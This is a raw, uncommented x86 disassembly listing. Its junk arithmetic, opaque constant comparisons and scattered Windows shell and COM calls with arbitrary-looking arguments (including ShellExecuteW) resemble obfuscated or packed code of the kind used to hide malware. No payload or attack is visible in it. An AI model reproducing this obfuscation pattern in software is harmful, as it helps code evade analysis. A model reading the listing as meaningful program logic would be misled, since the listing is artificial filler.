mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ebp - 0xa7c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x1720], eax
mov ecx, dword [ebp - 0x1268]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x12c], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x7a4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1720]
and ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
movzx eax, word [ebp - 0x7c4]
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0xc98]
mov word [ecx], ax
movzx edx, byte [ebp - 0x4a9]
movzx eax, byte [ebp - 0x6ad]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1108]
sub edx, dword [ebp - 0x434]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ebp - 0x4c4]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x610]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x1edc]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x8d4], dx
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x1268]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1b15]
sub ecx, edx
mov byte [ebp - 0x4a9], cl
movzx eax, word [ebp - 0x10d8]
movzx ecx, word [ebp - 0xbe8]
sub eax, ecx
mov edx, dword [ebp - 0x133c]
mov word [edx], ax
mov eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0x1d08]
shl eax, cl
mov ecx, dword [ebp - 0x9b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa7c]
mov eax, dword [ebp - 0x870]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x4c0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x4c0]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x4c4]
and eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x610]
mov dword [ecx], eax
mov edx, dword [ebp - 0x54]
sub edx, 0xfc
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10d8]
sub ecx, edx
mov word [ebp - 0x7c4], cx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
mov ecx, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x1274]
and edx, dword [ecx]
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x434]
add eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x610]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1400]
mov eax, dword [ebp - 0x434]
sub eax, dword [edx]
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ebp - 0x1d08]
add edx, dword [ecx]
mov dword [ebp - 0x1720], edx
movzx eax, word [ebp - 0x10d8]
movzx ecx, word [ebp - 0x7c4]
add eax, ecx
mov edx, dword [ebp - 0x133c]
mov word [edx], ax
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x6ad]
add ecx, edx
mov byte [ebp - 0x1b15], cl
mov eax, dword [ebp - 0x1b0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x1b49]
shl edx, cl
mov eax, dword [ebp - 0x1b0]
mov byte [eax], dl
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x1edc]
mov word [eax], dx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x214]
shr edx, cl
mov dword [ebp - 0x1274], edx
mov eax, dword [ebp - 0x434]
xor eax, dword [ebp - 0x12c]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0xf08]
mov word [eax], dx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b15]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x12c]
sub eax, dword [edx]
mov dword [ebp - 0x7a4], eax
mov ecx, dword [ebp - 0x9b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x870]
add edx, dword [eax]
mov dword [ebp - 0x214], edx
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4c0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13b0]
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x1108], ecx
movzx edx, byte [ebp - 0x6ad]
movzx eax, byte [ebp - 0x1b49]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbe8]
add eax, ecx
mov word [ebp - 0x7c4], ax
mov edx, dword [ebp - 0x214]
sub edx, dword [ebp - 0x1720]
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1268]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x434]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x434]
or ecx, dword [eax]
mov edx, dword [ebp - 0x2c8]
mov dword [edx], ecx
jmp 0x4db31d
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x2010], eax
cmp dword [ebp - 0x2010], 0
je 0x4db77f
cmp dword [ebp - 0x2010], 0x47b0
je 0x4ef196
jmp 0x4ef239
mov cl, byte [ebp - 0x1c01]
mov byte [ebp - 0x2014], cl
cmp byte [ebp - 0x2014], 0xb
je 0x4db84f
cmp byte [ebp - 0x2014], 0x78
je 0x4db7a6
jmp 0x4ef104
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b15]
sar eax, cl
movzx ecx, byte [ebp - 0x4a9]
movzx edx, byte [ebp - 0x6ad]
and ecx, edx
cmp eax, ecx
jle 0x4db7fb
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4c4]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4c4]
push eax
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
push edx
call fcn.004ef7c0
add esp, 8
lea eax, [ebp - 0x1c01]
push eax
push 0xd9
lea ecx, [ebp - 0x4f0]
push ecx
push 0xb3
push 0xd8
lea edx, [ebp - 0x23c]
push edx
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [ebp - 0x660], eax
mov edx, dword [ebp - 0x1d08]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
jmp 0x4ef104
mov cl, byte [ebp - 0x4a9]
mov byte [ebp - 0x2018], cl
cmp byte [ebp - 0x2018], 0
je 0x4db8f6
cmp byte [ebp - 0x2018], 0xef
je 0x4db876
jmp 0x4ef057
mov edx, dword [ebp - 0x1400]
mov eax, dword [edx]
mov dword [ebp - 0x201c], eax
cmp dword [ebp - 0x201c], 0x49dbeeeb
je 0x4db892
jmp 0x4db894
jmp 0x4db8c6
mov ecx, dword [ebp - 0x1cb8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0xbe8], dx
movzx edx, byte [ebp - 0x4a9]
push edx
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
push ecx
call section..text
movzx edx, byte [ebp - 0x4a9]
movzx eax, byte [ebp - 0x1b49]
and edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
lea edx, [ebp - 0x1b0]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x1070], eax
jmp 0x4ef057
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x214]
mov ecx, dword [ebp - 0xe24]
mov dword [ecx], eax
cmp dword [ebp - 0xf10], 0xc6b2
jbe 0x4dbb07
mov edx, dword [ebp - 0x2c8]
mov eax, dword [edx]
or eax, dword [ebp - 0x434]
mov dword [ebp - 0x12c], eax
movsx ecx, byte [ebp - 0x1c01]
sar ecx, 1
mov byte [ebp - 0x1c01], cl
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xaf0]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x558]
mov word [edx], ax
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xf08]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x133c]
mov word [edx], cx
movzx eax, byte [ebp - 0x1b15]
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x4a9], al
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x1d08]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe24]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1400]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1108]
add eax, dword [ebp - 0x7a4]
mov dword [ebp - 0x434], eax
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1d08]
mov eax, dword [ebp - 0xe24]
mov dword [eax], edx
mov ecx, dword [ebp - 0xf10]
sub ecx, 0xc7
mov dword [ebp - 0xf10], ecx
mov edx, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x12c]
sub eax, dword [edx]
mov dword [ebp - 0x1108], eax
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xc98]
mov word [eax], dx
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x4a9]
sub edx, eax
mov ecx, dword [ebp - 0x1b0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x1268]
mov eax, dword [ebp - 0x1400]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x13b0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1274]
mov ecx, dword [ebp - 0x214]
shl eax, cl
mov dword [ebp - 0x1720], eax
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x4c0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ebp - 0x7a4]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x1108], edx
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1cb8]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x133c]
mov word [edx], cx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x1b49]
add ecx, edx
mov byte [ebp - 0x6ad], cl
movzx eax, word [ebp - 0xbe8]
mov ecx, dword [ebp - 0x133c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xc98]
mov word [ecx], ax
mov edx, dword [ebp - 0x1edc]
movsx eax, word [edx]
mov ecx, dword [ebp - 0xaf0]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x558]
mov word [ecx], ax
jmp 0x4db907
lea edx, [ebp - 0x1274]
mov dword [ebp - 0x1290], edx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
movzx eax, byte [ebp - 0x6ad]
movzx edx, byte [ebp - 0x1b49]
add eax, edx
cmp ecx, eax
jge 0x4dbc2a
mov eax, dword [ebp - 0x13b0]
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
mov eax, dword [ebp - 0x133c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xbe8]
add ecx, edx
mov eax, dword [ebp - 0xf08]
movzx edx, word [eax]
mov eax, dword [ebp - 0x1cb8]
movzx eax, word [eax]
add edx, eax
cmp ecx, edx
jl 0x4dbbb1
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x6ad]
add edx, eax
mov byte [ebp - 0x1b15], dl
mov ecx, dword [ebp - 0xeb4]
push ecx
mov edx, dword [ebp - 0x1bbc]
push edx
call dword [sym.imp.SHELL32.dll_DuplicateIcon]
mov dword [ebp - 0x5f8], eax
jmp 0x4dbc0f
mov eax, dword [ebp - 0xf08]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x1cb8]
mov word [edx], cx
mov eax, dword [ebp - 0x1290]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x18]
shr edx, cl
mov dword [ebp - 0x1d08], edx
mov eax, dword [ebp - 0x1b0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x1720]
push edx
movzx eax, word [ebp - 0x8d4]
push eax
movzx ecx, byte [ebp - 0x1c01]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
call fcn.00429f50
mov eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x1108]
shl eax, cl
mov ecx, dword [ebp - 0x4c0]
mov dword [ecx], eax
jmp 0x4dbd0c
movsx edx, byte [ebp - 0x1c01]
cmp edx, 0x50
jl 0x4dbd0c
mov eax, dword [ebp - 0x1290]
mov ecx, dword [eax]
mov dword [ebp - 0x2020], ecx
cmp dword [ebp - 0x2020], 0x4119aef3
je 0x4dbc59
jmp 0x4dbcda
lea edx, [ebp - 0xb24]
push edx
lea eax, [ebp - 0x67c]
push eax
lea ecx, [ebp - 0x890]
push ecx
mov edx, dword [ebp - 0x644]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [ebp - 0xbc0], eax
mov eax, dword [ebp - 0x610]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1108]
mov dword [ebp - 0x7a4], ecx
mov edx, dword [ebp - 0x1290]
mov eax, dword [ebp - 0xa7c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x870]
mov dword [edx], ecx
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [ebp - 0x124], eax
movzx ecx, byte [ebp - 0x1b15]
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1b49], cl
jmp 0x4dbd0c
mov ecx, dword [ebp - 0xc98]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x7c4]
sub edx, eax
mov ecx, dword [ebp - 0x1cb8]
mov word [ecx], dx
movzx edx, byte [ebp - 0x6ad]
push edx
mov eax, dword [ebp - 0x1cb8]
movzx ecx, word [eax]
push ecx
call section..text
mov edx, dword [ebp - 0x1b0]
mov al, byte [edx]
mov byte [ebp - 0x2024], al
cmp byte [ebp - 0x2024], 0xf1
je 0x4dbd25
jmp 0x4dbd50
mov ecx, dword [ebp - 0x1d08]
add ecx, dword [ebp - 0x1720]
mov edx, dword [ebp - 0x1290]
mov dword [edx], ecx
lea eax, [ebp - 0x3fc]
push eax
call dword [sym.imp.SHELL32.dll_ILFree]
call fcn.0046d040
jmp 0x4eefcd
mov ecx, dword [ebp - 0x1b0]
mov dl, byte [ecx]
mov byte [ebp - 0x2028], dl
cmp byte [ebp - 0x2028], 0
je 0x4dbd69
jmp 0x4dbda5
mov eax, dword [ebp - 0x1268]
mov ecx, dword [ebp - 0x2c8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x13b0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1108]
mov dword [ebp - 0x4c4], edx
mov ax, word [ebp - 0x8d4]
mov word [ebp - 0x1c20], ax
jmp 0x4dbdbd
movzx ecx, byte [ebp - 0x1b15]
movzx edx, byte [ebp - 0x4a9]
sub ecx, edx
mov eax, dword [ebp - 0x1b0]
mov byte [eax], cl
lea ecx, [ebp - 0xbe8]
mov dword [ebp - 0x1e70], ecx
mov dword [ebp - 0x12a4], 0x27d5
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
mov dword [ebp - 0x202c], eax
cmp dword [ebp - 0x202c], 0x3bd
je 0x4dbdf0
jmp 0x4dbe21
mov ecx, dword [ebp - 0xa7c]
mov edx, dword [ebp - 0x1d08]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x870]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1400]
mov edx, dword [ecx]
or edx, dword [ebp - 0x7a4]
mov dword [ebp - 0x4c4], edx
jmp 0x4eef69
movzx eax, word [ebp - 0x10d8]
movzx ecx, word [ebp - 0x7c4]
xor eax, ecx
mov edx, dword [ebp - 0xc98]
mov word [edx], ax
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x9b8]
mov eax, dword [edx]
mov edx, dword [ebp - 0x870]
add eax, dword [edx]
cmp ecx, eax
jb 0x4dbf49
mov eax, dword [ebp - 0x1b0]
mov cl, byte [eax]
mov byte [ebp - 0xe29], cl
mov edx, dword [ebp - 0x1268]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2c8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x7a4]
and edx, dword [ebp - 0x434]
cmp eax, edx
jle 0x4dbeca
lea eax, [ebp - 0xdc0]
push eax
push str.floppiest_Inscription_Jerkily_Outgoing
call dword [sym.imp.ole32.dll_CLSIDFromProgID]
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1290]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c4]
sub ecx, dword [ebp - 0x434]
mov dword [ebp - 0x12c], ecx
jmp 0x4dbf1e
movsx edx, word [ebp - 0x1c20]
mov eax, dword [ebp - 0x558]
movsx ecx, word [eax]
add edx, ecx
movsx eax, word [ebp - 0x8d4]
mov ecx, dword [ebp - 0x1edc]
movsx ecx, word [ecx]
sub eax, ecx
cmp edx, eax
jge 0x4dbf1e
movzx edx, byte [ebp - 0x1b15]
push edx
mov eax, dword [ebp - 0x214]
push eax
movzx ecx, word [ebp - 0x1c20]
push ecx
movzx edx, byte [ebp - 0x1c01]
push edx
movzx eax, byte [ebp - 0x1c01]
push eax
call fcn.00429f50
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
or edx, dword [ebp - 0x4c4]
mov dword [ebp - 0x7a4], edx
mov eax, dword [ebp - 0xe24]
mov edx, dword [ebp - 0x18]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
jmp 0x4dbfc4
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x2c8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1268]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x1400]
add edx, dword [ecx]
cmp eax, edx
je 0x4dbfc4
mov edx, dword [ebp - 0x133c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x10d8]
shl eax, cl
mov ecx, dword [ebp - 0xc98]
mov word [ecx], ax
mov dl, byte [ebp - 0x6ad]
mov byte [ebp - 0x2030], dl
cmp byte [ebp - 0x2030], 0xf3
je 0x4dbf9f
jmp 0x4dbfae
lea eax, [ebp - 0x13fc]
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x4dbfc4
movzx ecx, byte [ebp - 0x1b49]
movzx edx, byte [ebp - 0xe29]
xor ecx, edx
mov byte [ebp - 0x4a9], cl
mov eax, dword [ebp - 0x1b0]
mov cl, byte [eax]
mov byte [ebp - 0x2034], cl
cmp byte [ebp - 0x2034], 0
je 0x4dbfed
cmp byte [ebp - 0x2034], 0x91
je 0x4dc08b
jmp 0x4dc0d7
lea edx, [ebp - 0x4c4]
mov dword [ebp - 0x134c], edx
mov al, byte [ebp - 0x1c01]
mov byte [ebp - 0x2038], al
cmp byte [ebp - 0x2038], 0x4e
je 0x4dc010
jmp 0x4dc07f
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x1400]
mov dword [eax], edx
lea ecx, [ebp - 0x1720]
push ecx
push 0xcb
push 0x51
push 5
push 0xa0
mov edx, dword [ebp - 0x9b4]
push edx
call dword [sym.imp.SHELL32.dll_SHChangeNotifyRegister]
mov dword [ebp - 0x1274], eax
mov eax, dword [ebp - 0xaf0]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x558]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1c20], cx
mov ecx, dword [ebp - 0x610]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x2c8]
mov dword [eax], edx
mov dword [ebp - 0x11d0], 0xec43
jmp 0x4dc0d7
mov cl, byte [ebp - 0x1b15]
mov byte [ebp - 0x203c], cl
cmp byte [ebp - 0x203c], 0x19
je 0x4dc0c4
cmp byte [ebp - 0x203c], 0x68
je 0x4dc0ab
jmp 0x4dc0d7
mov edx, dword [ebp - 0x1b0]
movzx eax, byte [edx]
push eax
movzx ecx, word [ebp - 0x7c4]
push ecx
call section..text
jmp 0x4dc0d7
lea edx, [ebp - 0xf00]
push edx
call dword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [ebp - 0x590], eax
movsx eax, byte [ebp - 0x1c01]
cmp eax, 9
jg 0x4dc272
movzx ecx, word [ebp - 0xbe8]
mov edx, dword [ebp - 0xc98]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x1e70]
mov word [edx], cx
movzx eax, word [ebp - 0xbe8]
movzx ecx, word [ebp - 0x7c4]
and eax, ecx
mov edx, dword [ebp - 0xf08]
movzx ecx, word [edx]
movzx edx, word [ebp - 0x10d8]
add ecx, edx
cmp eax, ecx
jne 0x4dc25c
movsx eax, byte [ebp - 0x1c01]
cmp eax, 0x34
jg 0x4dc21d
mov ecx, dword [ebp - 0x1b0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1b49]
xor edx, eax
movzx ecx, byte [ebp - 0x1b15]
movzx eax, byte [ebp - 0x4a9]
or ecx, eax
cmp edx, ecx
jg 0x4dc1fe
lea ecx, [ebp - 0xe29]
mov dword [ebp - 0x7d8], ecx
lea edx, [ebp - 0x1720]
mov dword [ebp - 0xcb0], edx
movzx eax, word [ebp - 0xbe8]
mov dword [ebp - 0x2040], eax
cmp dword [ebp - 0x2040], 0
je 0x4dc196
jmp 0x4dc1e4
mov ecx, dword [ebp - 0x1290]
mov edx, dword [ebp - 0x1720]
and edx, dword [ecx]
mov eax, dword [ebp - 0x9b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13b0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x134c]
mov dword [eax], edx
lea ecx, [ebp - 0x1108]
mov dword [ebp - 0xc08], ecx
mov edx, dword [ebp - 0x7a4]
sub edx, dword [ebp - 0x1108]
mov eax, dword [ebp - 0x1268]
mov dword [eax], edx
jmp 0x4dc1fe
movzx ecx, byte [ebp - 0x4a9]
mov edx, dword [ebp - 0x7d8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1b0]
mov byte [edx], cl
lea eax, [ebp - 0x7c4]
mov dword [ebp - 0x1104], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1274]
mov edx, dword [ebp - 0x1290]
mov dword [edx], ecx
jmp 0x4dc25a
movzx eax, byte [ebp - 0x1b15]
mov ecx, dword [ebp - 0x1b0]
movzx ecx, byte [ecx]
sar eax, cl
movzx edx, byte [ebp - 0xe29]
movzx ecx, byte [ebp - 0x4a9]
shl edx, cl
cmp eax, edx
jle 0x4dc25a
call fcn.004d7e60
mov eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x434]
mov dword [ebp - 0x7a4], eax
jmp 0x4dc270
mov ecx, dword [ebp - 0x1108]
add ecx, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x1268]
mov dword [edx], ecx
jmp 0x4dc2e6
mov eax, dword [ebp - 0xe24]
mov ecx, dword [eax]
mov dword [ebp - 0x2044], ecx
cmp dword [ebp - 0x2044], 0x38b5a405
je 0x4dc2d5
cmp dword [ebp - 0x2044], 0x7a76c400
je 0x4dc29a
jmp 0x4dc2e6
push 0xf1
mov edx, dword [ebp - 0x5e8]
push edx
lea eax, [ebp - 0x1d80]
push eax
mov ecx, dword [ebp - 0x127c]
push ecx
call dword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [ebp - 0x7cc], eax
mov edx, dword [ebp - 0x870]
mov edx, dword [edx]
mov ecx, dword [ebp - 0x7c4]
call fcn.004721c0
jmp 0x4dc2e6
mov eax, dword [ebp - 0x1d08]
and eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xcb0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x10d8]
mov dword [ebp - 0x2048], edx
cmp dword [ebp - 0x2048], 0
je 0x4dc301
jmp 0x4dc3aa
movsx eax, word [ebp - 0x8d4]
mov dword [ebp - 0x204c], eax
cmp dword [ebp - 0x204c], 0
je 0x4dc319
jmp 0x4dc374
mov ecx, dword [ebp - 0xf08]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1104]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x10d8], dx
lea edx, [ebp - 0x6ad]
mov dword [ebp - 0x11a8], edx
lea eax, [ebp - 0x1c20]
mov dword [ebp - 0x1448], eax
mov cl, byte [ebp - 0x1c01]
mov byte [ebp - 0x85d], cl
mov edx, dword [ebp - 0x870]
mov eax, dword [ebp - 0xcb0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x1290]
mov dword [eax], edx
jmp 0x4dc3a5
push 0x11
mov ecx, dword [ebp - 0x218]
push ecx
mov edx, dword [ebp - 0x644]
push edx
mov eax, dword [ebp - 0x644]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
mov edx, dword [ebp - 0x1df8]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x234], eax
jmp 0x4dc43c
mov eax, dword [ebp - 0x610]
mov ecx, dword [ebp - 0x7a4]
xor ecx, dword [eax]
mov dword [ebp - 0x1108], ecx
mov dl, byte [ebp - 0x85d]
mov byte [ebp - 0x2050], dl
cmp byte [ebp - 0x2050], 0x75
je 0x4dc3d5
jmp 0x4dc3f2
mov eax, dword [ebp - 0xc98]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x10d8]
or ecx, edx
mov eax, dword [ebp - 0x1cb8]
mov word [eax], cx
jmp 0x4dc43c
mov ecx, dword [ebp - 0x7d8]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x1b49]
sar edx, cl
mov byte [ebp - 0x4a9], dl
lea eax, [ebp - 0x13b0]
push eax
lea ecx, [ebp - 0x8d4]
push ecx
call dword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [ebp - 0xf28], eax
mov edx, dword [ebp - 0x4c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1268]
add eax, dword [ecx]
mov edx, dword [ebp - 0x134c]
mov dword [edx], eax
mov eax, dword [ebp - 0x1400]
mov ecx, dword [ebp - 0x610]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x1108]
sub eax, dword [ebp - 0x434]
cmp edx, eax
je 0x4dc485
mov ecx, dword [ebp - 0x870]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1d08]
mov dword [ebp - 0x1720], edx
movzx eax, byte [ebp - 0x1b49]
push eax
movzx ecx, word [ebp - 0x10d8]
push ecx
call section..text
movzx edx, byte [ebp - 0x1b15]
movzx eax, byte [ebp - 0xe29]
add edx, eax
mov ecx, dword [ebp - 0x1b0]
movzx eax, byte [ecx]
movzx ecx, byte [ebp - 0x1b49]
sub eax, ecx
cmp edx, eax
jne 0x4eef53
